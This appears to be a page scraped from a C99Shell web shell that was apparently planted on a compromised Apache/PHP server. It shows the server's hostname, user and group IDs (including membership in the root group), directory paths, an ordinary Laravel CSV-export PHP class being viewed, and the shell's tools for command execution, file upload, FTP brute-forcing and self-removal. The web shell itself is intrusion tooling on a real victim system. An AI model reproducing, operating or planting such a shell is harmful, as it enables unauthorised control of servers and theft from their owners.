!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Services/Export/   drwxr-xr-x
Free 26.57 GB of 117.98 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExportService.php (3.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package ExportService
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 26-01-2023
 */
namespace App\Services\Export;

use 
Illuminate\Http\Request;

abstract class 
ExportService
{
    protected 
$response;

    private 
$extension '.csv';

    protected 
$request;
    protected 
$csvColumn = [];

    protected 
$csvData = [];

    
/***
     * @param Request $request
     */
    
public function __construct(Request $request)
    {
        
$this->request $request;
        
ini_set("max_execution_time"600);
    }

    
/**
     * load csv file
     *
     * @param $file
     * @return array
     */
    
function loadCsv($file 'file'): array
    {
        
$fileName $file.$this->extension;

        
$headers = array(
            
"Content-type"        => "text/csv",
            
"Content-Disposition" => "attachment; filename=$fileName",
            
"Pragma"              => "no-cache",
            
"Cache-Control"       => "must-revalidate, post-check=0, pre-check=0",
            
"Expires"             => "0"
        
);

        
$columns $this->csvColumn;
        
$data collect($this->getResource());

        
$callback = function() use($data$columns) {
            
$file fopen('php://output''w');
            
fputcsv($file$columns);

            foreach (
$data as $values) {
                foreach (
$columns as $column) {
                    
$row[$column]  = $values[$column] ?? null;
                }

                
fputcsv($file$row);
            }

            
fclose($file);
        };

        return [
'callback' => $callback'headers' => $headers];
    }

    
/**
     * export process
     *
     * @return false
     */
    
public function process()
    {
        return 
$this->exportSteps();
    }

    
/**
     * Set error message
     * @param string $message
     * @param bool $translated false
     * @return void
     */
    
public function setError($message$translated false)
    {
        if (!
$translated) {
            
$message __($message);
        }
        
$this->error $message;
    }

    
/**
     * get error
     *
     * @return array|\Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\Translation\Translator|string|null
     */
    
public function getError()
    {
        return 
$this->error;
    }

    
/**
     * Set response data
     *
     * @param mixed $response
     * @return void
     */
    
protected function setResponse($response)
    {
        
$this->response $response;
    }

    
/**
     * Returns processed step output
     *
     * @return mixed
     */
    
public function getResponse()
    {
        return 
$this->response;
    }

    
/**
     * set resource
     *
     * @param $data
     * @return void
     */
    
public function setResource($data)
    {
        
$this->csvData $data;
    }

    
/**
     * get resource
     *
     * @return array|mixed
     */
    
public function getResource()
    {
        return 
$this->csvData;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--